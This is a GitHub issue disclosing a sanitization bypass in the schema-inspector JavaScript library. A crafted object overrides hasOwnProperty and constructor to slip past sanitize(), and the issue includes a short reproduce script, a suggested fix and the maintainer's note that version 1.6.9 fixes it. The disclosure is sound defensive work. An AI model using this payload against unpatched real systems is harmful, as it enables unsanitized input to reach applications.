Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A Vulnerability in sanitize() #75

Closed
xiaofen9 opened this issue Nov 27, 2019 · 1 comment
Closed

A Vulnerability in sanitize() #75

xiaofen9 opened this issue Nov 27, 2019 · 1 comment

Comments

@xiaofen9
Copy link

xiaofen9 commented Nov 27, 2019

We found that a maliciously crafted javascript object can bypass the sanitize() of the schema-inspector.
The vulnerability is from the following code: schema-inspector uses a built-in function (hasOwnProperty) from the unsafe user-input to decide whether it should sanitize the object or not. As a result, a crafted payload can overwrite this function to manipulate the sanitization result.

https://github.com/Atinux/schema-inspector/blob/7f67b2a95f85ecb76d0dc5326d76d082a2b99e1f/lib/schema-inspector.js#L1013-L1019

One way to fix this issue is to use Object.prototype.hasOwnProperty instead. ( This function is much safer, a detailed discussion can be found here https://stackoverflow.com/questions/12017693/why-use-object-prototype-hasownproperty-callmyobj-prop-instead-of-myobj-hasow)

if(Object.prototype.hasOwnProperty.call(post,i))

Reproduce Script

var inspector = require('schema-inspector');

var user_input = {
    firstname: 'sterling',
    lastname: "archer",
    jobs: {"name" : 'notArrary',  "age": 20, "hasOwnProperty": (elem) => {return false;}, 'constructor':Array}
};

var sanitization = {
    type: 'object',
    properties: {
        firstname: { type: 'string', rules: ['trim', 'title'] },
        lastname: { type: 'string', rules: ['trim', 'title'] },
        jobs: {
            type: 'array',
            splitWith: ',',
            items: { type: 'string', rules: ['trim', 'title'] }
        },
        email: { type: 'string', rules: ['trim', 'lower'] }
    }
};

inspector.sanitize(sanitization, user_input);
console.log(user_input);

Atinux added a commit that referenced this issue Jan 20, 2020
@Atinux
Copy link
Collaborator

Atinux commented Jan 20, 2020

It's now fixed in https://github.com/Atinux/schema-inspector/releases/tag/v1.6.9, thank you very much @xiaofen9

@Atinux Atinux closed this as completed Jan 20, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants